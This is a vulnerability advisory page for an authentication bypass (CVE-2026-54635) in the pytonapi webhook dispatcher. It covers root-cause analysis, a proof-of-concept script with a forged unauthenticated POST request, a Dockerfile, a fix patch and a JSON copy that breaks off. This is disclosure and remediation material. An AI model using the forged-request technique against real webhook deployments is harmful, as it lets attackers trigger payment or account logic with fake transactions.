Vulnerabilities in pkg:pypi/pytonapi
PACKAGE
Advisory Identifier:
GHSA-3fcr-jvgp-7f58
Advisory Summary
CVE-2026-54635 is a HIGH (CVSS 7.5) authentication bypass vulnerability (CWE-287: Improper Authentication) affecting Pytonapi libraries in the PyPI ecosystem. The issue involves pytonapi has a webhook custom path authentication bypass. Remediation is available by upgrading affected packages to version 2.2.1.
1
Known Advisory Record(s)
Package Vulnerability Intelligence
1 Known Advisory Record(s)
pkg:pypi/pytonapi
Vulnerability advisories affecting package pkg:pypi/pytonapi. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-3fcr-jvgp-7f58 | CVE-2026-54635 | HIGH | pytonapi has a Webhook Custom Path Authentication Bypass |
CVE-2026-54635 at a Glance
CVE Identifier
CVE-2026-54635
GHSA Identifier
GHSA-3fcr-jvgp-7f58
Severity
HIGH
CVSS v3.1 Base Score
7.5
CWE Classification
CWE-287: Improper Authentication
Affected Product
Pytonapi
Package Ecosystem
PyPI
Published Date
Last Updated
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
None (PR:N)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
None (C:N)
Integrity
High (I:H)
Availability
None (A:N)
How to Fix CVE-2026-54635
To remediate this vulnerability, upgrade all affected Pytonapi dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pytonapi
fixed: 2.2.1
pip install pytonapi>=2.2.1
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pytonapiHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54635, inspect your installed packages using pip:
pip show pytonapiAnalyze the terminal output to locate any version of Pytonapi in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.2.1), your application is affected.
Note: The pip show pytonapi command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Pytonapi, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Webhook Custom Path Authentication Bypass in pytonapi
### Summary
`TonapiWebhookDispatcher` in pytonapi 2.2.0 fails to validate the `Authorization` header when a webhook handler is registered with the documented `path=` argument. During `setup()`, bearer tokens are stored only under the default suffix paths (e.g., `/hook/account-tx`), but the custom path (e.g., `/hook/custom`) is never added to the token map. When an incoming request arrives at the custom path, `self._tokens.get(path)` returns `None`, causing the `if expected_token is not None` guard to evaluate to `False` and silently skip authentication entirely. An unauthenticated remote attacker can POST arbitrary forged payloads to the custom webhook endpoint and trigger victim-defined handlers with full integrity impact.
### Details
The vulnerability is a fail-open authentication check in `pytonapi/webhook/dispatcher.py`.
**Token registration (setup)** stores tokens only under default suffix paths:
```python
# dispatcher.py lines 109-112
suffix = self.DEFAULT_SUFFIXES[event_type]
local_path = self._path + suffix # e.g., "/hook/account-tx"
webhook = await self._client.ensure(f"{self._url}{suffix}")
self._tokens[local_path] = webhook.token # custom path is NEVER stored here
```
**Handler registration** preserves the custom path in the handler tuple:
```python
# dispatcher.py lines 339, 342
resolved_path = path or self._resolve_path(event_type) # -> "/hook/custom"
self._handlers[event_type].append((account_filter, fn, resolved_path))
```
**Path routing** (`_build_path_map`) correctly maps the custom path to the event type:
```python
# dispatcher.py line 182
return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}
# -> {"/hook/custom": WebhookEventType.ACCOUNT_TX}
```
**Authentication check** (fail-open):
```python
# dispatcher.py lines 286-288
expected_token = self._tokens.get(path) # "/hook/custom" -> None
if expected_token is not None and authorization != f"Bearer {expected_token}":
raise TONAPIError("Invalid webhook token") # SKIPPED because expected_token is None
```
Because `expected_token` is `None` for any custom path, the condition `expected_token is not None` is always `False`. The `raise` is never reached regardless of what the `Authorization` header contains — or whether it is absent entirely. Execution continues to lines 291 and 297 where the attacker's payload is parsed and the victim handler is invoked.
The `path=` argument is an officially documented feature (see `docs/webhooks/guide.mdx` lines 140 and 153), meaning any user following the public documentation is vulnerable.
### PoC
**Requirements:** Python 3.12, pytonapi 2.2.0 installed from source (commit `e46c4a4`).
**Build and run with Docker:**
```bash
# From the repository root
docker build -t vuln001-pytonapi -f vuln-001/Dockerfile .
docker run --rm vuln001-pytonapi
```
The Dockerfile installs pytonapi from the local source tree and executes `poc.py`.
**What the PoC does:**
1. Creates a `TonapiWebhookDispatcher` with a custom-path handler (`path="/hook/custom"`).
2. Calls `setup()` — tokens are registered only for `/hook/account-tx`.
3. **Case A** — calls `process("/hook/custom", forged_payload, authorization=None)`: no `Authorization` header, handler fires.
4. **Case B** — calls `process("/hook/custom", forged_payload, authorization="Bearer totally-wrong-token")`: wrong token, handler still fires.
5. **Case C** (control) — same attack against the default path `/hook/account-tx` with no auth: correctly raises `TONAPIError`.
6. **Case D** (control) — default path with valid token: correctly accepted.
**Simulated malicious HTTP request routed to the victim dispatcher:**
```
POST /hook/custom HTTP/1.1
Host: victim.example
Content-Type: application/json
# No Authorization header
{"event_type":"account_tx","account_id":"0:victim","lt":1,"tx_hash":"FORGED_TX_HASH"}
```
**Expected output confirming the vulnerability:**
```
[dispatcher_a] _tokens map: {'/hook/account-tx': 'real-secret-token-abc123'}
Case A: VULNERABLE — handler invoked with NO Authorization header; custom_called=['FORGED_TX_HASH']
Case B: VULNERABLE — handler invoked with WRONG Authorization header; custom_called=['FORGED_TX_HASH']
Case C: CORRECTLY_REJECTED — Invalid webhook token
Case D: CORRECTLY_ACCEPTED — default path with valid auth
[RESULT] VULNERABILITY CONFIRMED
```
**Remediation (patch):**
```diff
--- a/pytonapi/webhook/dispatcher.py
+++ b/pytonapi/webhook/dispatcher.py
@@
def _build_path_map(self) -> dict[str, WebhookEventType]:
- return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}
+ return {path: et for et, handlers in self._handlers.items() for _, _, path in handlers}
@@
- suffix = self.DEFAULT_SUFFIXES[event_type]
- local_path = self._path + suffix
- webhook = await self._client.ensure(f"{self._url}{suffix}")
- self._tokens[local_path] = webhook.token
+ local_paths = sorted({path for _, _, path in handlers})
+ for local_path in local_paths:
+ endpoint = self._endpoint_for_path(local_path)
+ webhook = await self._client.ensure(endpoint)
+ self._tokens[local_path] = webhook.token
@@
+ def _endpoint_for_path(self, path: str) -> str:
+ parsed = urlparse(self._url)
+ return parsed._replace(path=path, params="", query="", fragment="").geturl()
```
### Impact
This is an **Improper Authentication** vulnerability (CWE-287). Any application that:
1. Uses `TonapiWebhookDispatcher` from pytonapi 2.2.0, **and**
2. Registers at least one handler using the documented `path=` keyword argument,
is fully exposed. The webhook endpoint becomes publicly callable without credentials. An unauthenticated network attacker can:
- Forge arbitrary TON blockchain events (e.g., fake `account_tx` notifications).
- Trigger victim-defined business logic — payment processing, account state updates, notification dispatch — with attacker-controlled data.
- Cause financial or operational harm depending on what the victim handler does.
Confidentiality is not directly affected (the attacker sends data, does not read it). Availability is not the primary impact. Integrity is critically impacted because the attacker fully controls the event data delivered to the handler.
### Reproduction artifacts
#### `Dockerfile`
```dockerfile
FROM python:3.12-slim
WORKDIR /app
# Copy the repository source code
COPY repo/ /app/repo/
# Install pytonapi from local source (exact commit under test)
RUN pip install --no-cache-dir /app/repo/
# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
# Run the PoC by default
CMD ["python3", "/app/poc.py"]
```
#### `poc.py`
```python
"""
PoC for VULN-001: Webhook custom path authentication bypass
===========================================================
CVE candidate: CWE-287 — Improper Authentication
Affected: pytonapi 2.2.0 (commit e46c4a4)
File: pytonapi/webhook/dispatcher.py
Root cause
----------
When a handler is registered with the documented `path=` argument:
@dispatcher.account_tx(path="/hook/custom")
async def on_tx(event): ...
setup() stores the bearer token ONLY for the default-suffix path:
local_path = self._path + suffix # -> "/hook/account-tx"
self._tokens[local_path] = webhook.token # line 112
The custom path "/hook/custom" is never added to _tokens.
_build_path_map() correctly routes "/hook/custom" -> ACCOUNT_TX
because it reads handlers[0][2] which IS the custom path when the
custom-path handler is the only one registered.
In process():
expected_token = self._tokens.get(path) # line 286 -> None (missing)
if expected_token is not None and ...: # line 287 -> False (SKIP)
raise TONAPIError("Invalid webhook token")
Because expected_token is None the auth check is bypassed entirely
(fail-open). An attacker can POST any forged payload to the custom
path without any Authorization header and trigger the victim handler.
Test matrix
-----------
Case A: custom path + no auth -> SHOULD raise (BUG: passes)
Case B: custom path + wrong auth token -> SHOULD raise (BUG: passes)
Case C: default path + no auth -> SHOULD raise (control: correctly raises)
Case D: default path + valid auth -> SHOULD pass (control: correctly passes)
"""
import asyncio
import sys
from pytonapi.exceptions import TONAPIError
from pytonapi.webhook.dispatcher import TonapiWebhookDispatcher
# ---------------------------------------------------------------------------
# Minimal stubs — no real network I/O needed
# ---------------------------------------------------------------------------
class FakeWebhookEndpoint:
"""Simulates the TONAPI webhook object returned by client.ensure()."""
def __init__(self, token: str) -> None:
self.token = token
async def sync_accounts(self, accounts: list) -> None:
pass
class FakeWebhookClient:
"""Simulates TonapiWebhookClient: records which endpoints were registered."""
def __init__(self) -> None:
self.registered_endpoints: list[str] = []
async def create_session(self) -> None:
pass
async def ensure(self, endpoint: str) -> FakeWebhookEndpoint:
self.registered_endpoints.append(endpoint)
return FakeWebhookEndpoint(token="real-secret-token-abc123")
async def close_session(self) -> None:
pass
# ---------------------------------------------------------------------------
# PoC
# ---------------------------------------------------------------------------
async def run_poc() -> bool:
"""Execute all test cases and return True if the vulnerability is confirmed."""
# -----------------------------------------------------------------
# Dispatcher A: only a CUSTOM path handler (the vulnerable scenario)
# -----------------------------------------------------------------
client_a = FakeWebhookClient()
dispatcher_a = TonapiWebhookDispatcher(
"https://victim.example/hook",
client=client_a,
accounts=["0:victim"],
)
custom_called: list[str] = []
# Victim uses the documented path= feature (see docs/webhooks/guide.mdx:140)
@dispatcher_a.account_tx("0:victim", path="/hook/custom")
async def on_custom_tx(event) -> None:
custom_called.append(event.tx_hash)
await dispatcher_a.setup()
# -----------------------------------------------------------------
# Dispatcher B: only a DEFAULT path handler (control group)
# -----------------------------------------------------------------
client_b = FakeWebhookClient()
dispatcher_b = TonapiWebhookDispatcher(
"https://victim.example/hook",
client=client_b,
accounts=["0:victim"],
)
default_called: list[str] = []
@dispatcher_b.account_tx("0:victim")
async def on_default_tx(event) -> None:
default_called.append(event.tx_hash)
await dispatcher_b.setup()
print("=" * 60)
print("VULN-001: Webhook custom path authentication bypass PoC")
print("=" * 60)
print(f"[dispatcher_a] registered paths : {dispatcher_a.paths}")
print(f"[dispatcher_a] endpoints called : {client_a.registered_endpoints}")
print(f"[dispatcher_a] _tokens map : {dispatcher_a._tokens}")
print()
print(f"[dispatcher_b] registered paths : {dispatcher_b.paths}")
print(f"[dispatcher_b] endpoints called : {client_b.registered_endpoints}")
print(f"[dispatcher_b] _tokens map : {dispatcher_b._tokens}")
print()
forged_payload = {
"event_type": "account_tx",
"account_id": "0:victim",
"lt": 1,
"tx_hash": "FORGED_TX_HASH",
}
results: dict[str, str] = {}
# ------------------------------------------------------------------
# Case A: custom path, NO auth -> BUG: should raise, actually passes
# ------------------------------------------------------------------
custom_called.clear()
try:
await dispatcher_a.process(
"/hook/custom",
forged_payload,
authorization=None,
)
if "FORGED_TX_HASH" in custom_called:
results["A"] = (
"VULNERABLE — handler invoked with NO Authorization header; "
"custom_called=" + repr(custom_called)
)
else:
results["A"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["A"] = f"NOT_VULNERABLE (raised) — {exc}"
# ------------------------------------------------------------------
# Case B: custom path, WRONG auth -> BUG: should raise, actually passes
# ------------------------------------------------------------------
custom_called.clear()
try:
await dispatcher_a.process(
"/hook/custom",
forged_payload,
authorization="Bearer totally-wrong-token",
)
if "FORGED_TX_HASH" in custom_called:
results["B"] = (
"VULNERABLE — handler invoked with WRONG Authorization header; "
"custom_called=" + repr(custom_called)
)
else:
results["B"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["B"] = f"NOT_VULNERABLE (raised) — {exc}"
# ------------------------------------------------------------------
# Case C: default path, NO auth -> must raise (control: works correctly)
# ------------------------------------------------------------------
default_called.clear()
try:
await dispatcher_b.process(
"/hook/account-tx",
forged_payload,
authorization=None,
)
results["C"] = "UNEXPECTED_PASS — default path accepted no-auth (unexpected)"
except TONAPIError as exc:
results["C"] = f"CORRECTLY_REJECTED — {exc}"
# ------------------------------------------------------------------
# Case D: default path, VALID auth -> baseline, must succeed (control)
# ------------------------------------------------------------------
default_called.clear()
try:
await dispatcher_b.process(
"/hook/account-tx",
forged_payload,
authorization="Bearer real-secret-token-abc123",
)
if "FORGED_TX_HASH" in default_called:
results["D"] = "CORRECTLY_ACCEPTED — default path with valid auth"
else:
results["D"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["D"] = f"UNEXPECTED_REJECTION — {exc}"
# ------------------------------------------------------------------
# Summary
# ------------------------------------------------------------------
print("Test results:")
for case, result in results.items():
print(f" Case {case}: {result}")
print()
vuln_confirmed = (
"VULNERABLE" in results.get("A", "")
and "VULNERABLE" in results.get("B", "")
and "CORRECTLY_REJECTED" in results.get("C", "")
and "CORRECTLY_ACCEPTED" in results.get("D", "")
)
if vuln_confirmed:
print("[RESULT] VULNERABILITY CONFIRMED")
print(" dispatcher_a._tokens has NO entry for /hook/custom (only for /hook/account-tx)")
print(" => expected_token=None => auth check skipped => forged handler called")
print(" Attacker can POST any payload to /hook/custom without credentials.")
else:
print("[RESULT] VULNERABILITY NOT CONFIRMED")
print(" Check individual case results above for details.")
return vuln_confirmed
if __name__ == "__main__":
confirmed = asyncio.run(run_poc())
sys.exit(0 if confirmed else 1)
```
CVE-2026-54635 Affected Pytonapi Versions
1 component(s)
Fixed Versions:
2.2.1
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pytonapi
|
PyPI |
≥ 2.0.0
< 2.2.1
|
2.2.1
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/nessshon/tonapi/security/advisories/GHSA-3fcr-jvgp-7f58
NVD — CVE-2026-54635
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-54635
Security Fix Commit
FIX COMMIT
https://github.com/nessshon/tonapi/commit/854222b7ee68d3fb7b4d6d899d200f388483bd86
Pytonapi Source Repository
REPOSITORY
https://github.com/nessshon/tonapi
Pytonapi Release
RELEASE
https://github.com/nessshon/tonapi/releases/tag/v2.2.1
Pytonapi Source Repository
REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/pytonapi/PYSEC-2026-3614.yaml
Frequently Asked Questions
What is CVE-2026-54635?
CVE-2026-54635 is a security vulnerability in Pytonapi involving pytonapi has a Webhook Custom Path Authentication Bypass under CWE-287: Improper Authentication.
Which Pytonapi versions are affected?
Affected versions include releases prior to 2.2.1 across affected packages: pytonapi.
What version fixes CVE-2026-54635?
Upgrading to 2.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pytonapi affected?
Yes, pytonapi is affected in releases prior to 2.2.1. Upgrade your dependency to 2.2.1 or later.
What is the CVSS score of CVE-2026-54635?
CVE-2026-54635 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-54635?
CVE-2026-54635 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check PyPI dependencies for CVE-2026-54635?
Run the dependency tree command: 'pip show pytonapi'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-3fcr-jvgp-7f58",
"modified" : "2026-08-11T22:10:59Z",
"published" : "2026-07-28T17:09:02Z",
"aliases" : [ "CVE-2026-54635" ],
"summary" : "pytonapi has a Webhook Custom Path Authentication Bypass",
"details" : "## Webhook Custom Path Authentication Bypass in pytonapi\n\n### Summary\n\n`TonapiWebhookDispatcher` in pytonapi 2.2.0 fails to validate the `Authorization` header when a webhook handler is registered with the documented `path=` argument. During `setup()`, bearer tokens are stored only under the default suffix paths (e.g., `/hook/account-tx`), but the custom path (e.g., `/hook/custom`) is never added to the token map. When an incoming request arrives at the custom path, `self._tokens.get(path)` returns `None`, causing the `if expected_token is not None` guard to evaluate to `False` and silently skip authentication entirely. An unauthenticated remote attacker can POST arbitrary forged payloads to the custom webhook endpoint and trigger victim-defined handlers with full integrity impact.\n\n### Details\n\nThe vulnerability is a fail-open authentication check in `pytonapi/webhook/dispatcher.py`.\n\n**Token registration (setup)** stores tokens only under default suffix paths:\n\n```python\n# dispatcher.py lines 109-112\nsuffix = self.DEFAULT_SUFFIXES[event_type]\nlocal_path = self._path + suffix # e.g., \"/hook/account-tx\"\nwebhook = await self._client.ensure(f\"{self._url}{suffix}\")\nself._tokens[local_path] = webhook.token # custom path is NEVER stored here\n```\n\n**Handler registration** preserves the custom path in the handler tuple:\n\n```python\n# dispatcher.py lines 339, 342\nresolved_path = path or self._resolve_path(event_type) # -> \"/hook/custom\"\nself._handlers[event_type].append((account_filter, fn, resolved_path))\n```\n\n**Path routing** (`_build_path_map`) correctly maps the custom path to the event type:\n\n```python\n# dispatcher.py line 182\nreturn {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}\n# -> {\"/hook/custom\": WebhookEventType.ACCOUNT_TX}\n```\n\n**Authentication check** (fail-open):\n\n```python\n# dispatcher.py lines 286-288\nexpected_token = self._tokens.get(path) # \"/hook/custom\" -> None\nif expected_token is not None and authorization != f\"Bearer {expected_token}\":\n raise TONAPIError(\"Invalid webhook token\") # SKIPPED because expected_token is None\n```\n\nBecause `expected_token` is `None` for any custom path, the condition `expected_token is not None` is always `False`. The `raise` is never reached regardless of what the `Authorization` header contains — or whether it is absent entirely. Execution continues to lines 291 and 297 where the attacker's payload is parsed and the victim handler is invoked.\n\nThe `path=` argument is an officially documented feature (see `docs/webhooks/guide.mdx` lines 140 and 153), meaning any user following the public documentation is vulnerable.\n\n### PoC\n\n**Requirements:** Python 3.12, pytonapi 2.2.0 installed from source (commit `e46c4a4`).\n\n**Build and run with Docker:**\n\n```bash\n# From the repository root\ndocker build -t vuln001-pytonapi -f vuln-001/Dockerfile .\ndocker run --rm vuln001-pytonapi\n```\n\nThe Dockerfile installs pytonapi from the local source tree and executes `poc.py`.\n\n**What the PoC does:**\n\n1. Creates a `TonapiWebhookDispatcher` with a custom-path handler (`path=\"/hook/custom\"`).\n2. Calls `setup()` — tokens are registered only for `/hook/account-tx`.\n3. **Case A** — calls `process(\"/hook/custom\", forged_payload, authorization=None)`: no `Authorization` header, handler fires.\n4. **Case B** — calls `process(\"/hook/custom\", forged_payload, authorization=\"Bearer totally-wrong-token\")`: wrong token, handler still fires.\n5. **Case C** (control) — same attack against the default path `/hook/account-tx` with no auth: correctly raises `TONAPIError`.\n6. **Case D** (control) — default path with valid token: correctly accepted.\n\n**Simulated malicious HTTP request routed to the victim dispatcher:**\n\n```\nPOST /hook/custom HTTP/1.1\nHost: victim.example\nContent-Type: application/json\n# No Authorization header\n\n{\"event_type\":\"account_tx\",\"account_id\":\"0:victim\",\"lt\":1,\"tx_hash\":\"FORGED_TX_HASH\"}\n```\n\n**Expected output confirming the vulnerability:**\n\n```\n[dispatcher_a] _tokens map: {'/hook/account-tx': 'real-secret-token-abc123'}\n\nCase A: VULNERABLE — handler invoked with NO Authorization header; custom_called=['FORGED_TX_HASH']\nCase B: VULNERABLE — handler invoked with WRONG Authorization header; custom_called=['FORGED_TX_HASH']\nCase C: CORRECTLY_REJECTED — Invalid webhook token\nCase D: CORRECTLY_ACCEPTED — default path with valid auth\n\n[RESULT] VULNERABILITY CONFIRMED\n```\n\n**Remediation (patch):**\n\n```diff\n--- a/pytonapi/webhook/dispatcher.py\n+++ b/pytonapi/webhook/dispatcher.py\n@@\n def _build_path_map(self) -> dict[str, WebhookEventType]:\n- return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}\n+ return {path: et for et, handlers in self._handlers.items() for _, _, path in handlers}\n@@\n- suffix = self.DEFAULT_SUFFIXES[event_type]\n- local_path = self._path + suffix\n- webhook = await self._client.ensure(f\"{self._url}{suffix}\")\n- self._tokens[local_path] = webhook.token\n+ local_paths = sorted({path for _, _, path in handlers})\n+ for local_path in local_paths:\n+ endpoint = self._endpoint_for_path(local_path)\n+ webhook = await self._client.ensure(endpoint)\n+ self._tokens[local_path] = webhook.token\n@@\n+ def _endpoint_for_path(self, path: str) -> str:\n+ parsed = urlparse(self._url)\n+ return parsed._replace(path=path, params=\"\", query=\"\", fragment=\"\").geturl()\n```\n\n### Impact\n\nThis is an **Improper Authentication** vulnerability (CWE-287). Any application that:\n\n1. Uses `TonapiWebhookDispatcher` from pytonapi 2.2.0, **and**\n2. Registers at least one handler using the documented `path=` keyword argument,\n\nis fully exposed. The webhook endpoint becomes publicly callable without credentials. An unauthenticated network attacker can:\n\n- Forge arbitrary TON blockchain events (e.g., fake `account_tx` notifications).\n- Trigger victim-defined business logic — payment processing, account state updates, notification dispatch — with attacker-controlled data.\n- Cause financial or operational harm depending on what the victim handler does.\n\nConfidentiality is not directly affected (the attacker sends data, does not read it). Availability is not the primary impact. Integrity is critically impacted because the attacker fully controls the event data delivered to the handler.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nWORKDIR /app\n\n# Copy the repository source code\nCOPY repo/ /app/repo/\n\n# Install pytonapi from local source (exact commit under test)\nRUN pip install --no-cache-dir /app/repo/\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\n# Run the PoC by default\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC for VULN-001: Webhook custom path authentication bypass\n===========================================================\nCVE candidate: CWE-287 — Improper Authentication\nAffected: pytonapi 2.2.0 (commit e46c4a4)\nFile: pytonapi/webhook/dispatcher.py\n\nRoot cause\n----------\nWhen a handler is registered with the documented `path=` argument:\n\n @dispatcher.account_tx(path=\"/hook/custom\")\n async def on_tx(event): ...\n\nsetup() stores the bearer token ONLY for the default-suffix path:\n\n local_path = self._path + suffix # -> \"/hook/account-tx\"\n self._tokens[local_path] = webhook.token # line 112\n\nThe custom path \"/hook/custom\" is never added to _tokens.\n\n_build_path_map() correctly routes \"/hook/custom\" -> ACCOUNT_TX\nbecause it reads handlers[0][2] which IS the custom path when the\ncustom-path handler is the only one registered.\n\nIn process():\n\n expected_token = self._tokens.get(path) # line 286 -> None (missing)\n if expected_token is not None and ...: # line 287 -> False (SKIP)\n raise TONAPIError(\"Invalid webhook token\")\n\nBecause expected_token is None the auth check is bypassed entirely\n(fail-open). An attacker can POST any forged payload to the custom\npath without any Authorization header and trigger the victim handler.\n\nTest matrix\n-----------\nCase A: custom path + no auth -> SHOULD raise (BUG: passes)\nCase B: custom path + wrong auth token -> SHOULD raise (BUG: passes)\nCase C: default path + no auth -> SHOULD raise (control: correctly raises)\nCase D: default path + valid auth -> SHOULD pass (control: correctly passes)\n\"\"\"\n\nimport asyncio\nimport sys\n\nfrom pytonapi.exceptions import TONAPIError\nfrom pytonapi.webhook.dispatcher import TonapiWebhookDispatcher\n\n\n# ---------------------------------------------------------------------------\n# Minimal stubs — no real network I/O needed\n# ---------------------------------------------------------------------------\n\nclass FakeWebhookEndpoint:\n \"\"\"Simulates the TONAPI webhook object returned by client.ensure().\"\"\"\n\n def __init__(self, token: str) -> None:\n self.token = token\n\n async def sync_accounts(self, accounts: list) -> None:\n pass\n\n\nclass FakeWebhookClient:\n \"\"\"Simulates TonapiWebhookClient: records which endpoints were registered.\"\"\"\n\n def __init__(self) -> None:\n self.registered_endpoints: list[str] = []\n\n async def create_session(self) -> None:\n pass\n\n async def ensure(self, endpoint: str) -> FakeWebhookEndpoint:\n self.registered_endpoints.append(endpoint)\n return FakeWebhookEndpoint(token=\"real-secret-token-abc123\")\n\n async def close_session(self) -> None:\n pass\n\n\n# ---------------------------------------------------------------------------\n# PoC\n# ---------------------------------------------------------------------------\n\nasync def run_poc() -> bool:\n \"\"\"Execute all test cases and return True if the vulnerability is confirmed.\"\"\"\n\n # -----------------------------------------------------------------\n # Dispatcher A: only a CUSTOM path handler (the vulnerable scenario)\n # -----------------------------------------------------------------\n client_a = FakeWebhookClient()\n dispatcher_a = TonapiWebhookDispatcher(\n \"https://victim.example/hook\",\n client=client_a,\n accounts=[\"0:victim\"],\n )\n custom_called: list[str] = []\n\n # Victim uses the documented path= feature (see docs/webhooks/guide.mdx:140)\n @dispatcher_a.account_tx(\"0:victim\", path=\"/hook/custom\")\n async def on_custom_tx(event) -> None:\n custom_called.append(event.tx_hash)\n\n await dispatcher_a.setup()\n\n # -----------------------------------------------------------------\n # Dispatcher B: only a DEFAULT path handler (control group)\n # -----------------------------------------------------------------\n client_b = FakeWebhookClient()\n dispatcher_b = TonapiWebhookDispatcher(\n \"https://victim.example/hook\",\n client=client_b,\n accounts=[\"0:victim\"],\n )\n default_called: list[str] = []\n\n @dispatcher_b.account_tx(\"0:victim\")\n async def on_default_tx(event) -> None:\n default_called.append(event.tx_hash)\n\n await dispatcher_b.setup()\n\n print(\"=\" * 60)\n print(\"VULN-001: Webhook custom path authentication bypass PoC\")\n print(\"=\" * 60)\n print(f\"[dispatcher_a] registered paths : {dispatcher_a.paths}\")\n print(f\"[dispatcher_a] endpoints called : {client_a.registered_endpoints}\")\n print(f\"[dispatcher_a] _tokens map : {dispatcher_a._tokens}\")\n print()\n print(f\"[dispatcher_b] registered paths : {dispatcher_b.paths}\")\n print(f\"[dispatcher_b] endpoints called : {client_b.registered_endpoints}\")\n print(f\"[dispatcher_b] _tokens map : {dispatcher_b._tokens}\")\n print()\n\n forged_payload = {\n \"event_type\": \"account_tx\",\n \"account_id\": \"0:victim\",\n \"lt\": 1,\n \"tx_hash\": \"FORGED_TX_HASH\",\n }\n\n results: dict[str, str] = {}\n\n # ------------------------------------------------------------------\n # Case A: custom path, NO auth -> BUG: should raise, actually passes\n # ------------------------------------------------------------------\n custom_called.clear()\n try:\n await dispatcher_a.process(\n \"/hook/custom\",\n forged_payload,\n authorization=None,\n )\n if \"FORGED_TX_HASH\" in custom_called:\n results[\"A\"] = (\n \"VULNERABLE — handler invoked with NO Authorization header; \"\n \"custom_called=\" + repr(custom_called)\n )\n else:\n results[\"A\"] = \"UNCERTAIN — process() did not raise but handler was not called\"\n except TONAPIError as exc:\n results[\"A\"] = f\"NOT_VULNERABLE (raised) — {exc}\"\n\n # ------------------------------------------------------------------\n # Case B: custom path, WRONG auth -> BUG: should raise, actually passes\n # ------------------------------------------------------------------\n custom_called.clear()\n try:\n await dispatcher_a.process(\n \"/hook/custom\",\n forged_payload,\n authorization=\"Bearer totally-wrong-token\",\n )\n if \"FORGED_TX_HASH\" in custom_called:\n results[\"B\"] = (\n \"VULNERABLE — handler invoked with WRONG Authorization header; \"\n \"custom_called=\" + repr(custom_called)\n )\n else:\n results[\"B\"] = \"UNCERTAIN — process() did not raise but handler was not called\"\n except TONAPIError as exc:\n results[\"B\"] = f\"NOT_VULNERABLE (raised) — {exc}\"\n\n # ------------------------------------------------------------------\n # Case C: default path, NO auth -> must raise (control: works correctly)\n # ------------------------------------------------------------------\n default_called.clear()\n try:\n await dispatcher_b.process(\n \"/hook/account-tx\",\n forged_payload,\n authorization=None,\n )\n results[\"C\"] = \"UNEXPECTED_PASS — default path accepted no-auth (unexpected)\"\n except TONAPIError as exc:\n results[\"C\"] = f\"CORRECTLY_REJECTED — {exc}\"\n\n # ------------------------------------------------------------------\n # Case D: default path, VALID auth -> baseline, must succeed (control)\n # ------------------------------------------------------------------\n default_called.clear()\n try:\n await dispatcher_b.process(\n \"/hook/account-tx\",\n forged_payload,\n authorization=\"Bearer real-secret-token-abc123\",\n )\n if \"FORGED_TX_HASH\" in default_called:\n results[\"D\"] = \"CORRECTLY_ACCEPTED — default path with valid auth\"\n else:\n results[\"D\"] = \"UNCERTAIN — process() did not raise but handler was not called\"\n except TONAPIError as exc:\n results[\"D\"] = f\"UNEXPECTED_REJECTION — {exc}\"\n\n # ------------------------------------------------------------------\n # Summary\n # ------------------------------------------------------------------\n print(\"Test results:\")\n for case, result in results.items():\n print(f\" Case {case}: {result}\")\n print()\n\n vuln_confirmed = (\n \"VULNERABLE\" in results.get(\"A\", \"\")\n and \"VULNERABLE\" in results.get(\"B\", \"\")\n and \"CORRECTLY_REJECTED\" in results.get(\"C\", \"\")\n and \"CORRECTLY_ACCEPTED\" in results.get(\"D\", \"\")\n )\n\n if vuln_confirmed:\n print(\"[RESULT] VULNERABILITY CONFIRMED\")\n print(\" dispatcher_a._tokens has NO entry for /hook/custom (only for /hook/account-tx)\")\n print(\" => expected_token=None => auth check skipped => forged handler called\")\n print(\" Attacker can POST any payload to /hook/custom without credentials.\")\n else:\n print(\"[RESULT] VULNERABILITY NOT CONFIRMED\")\n print(\" Check individual case results above for details.\")\n\n return vuln_confirmed\n\n\nif __name__ == \"__main__\":\n confirmed = asyncio.run(run_poc())\n sys.exit(0 if confirmed else 1)\n```",
"severity" : [ {
"type" : "CVSS_V3",
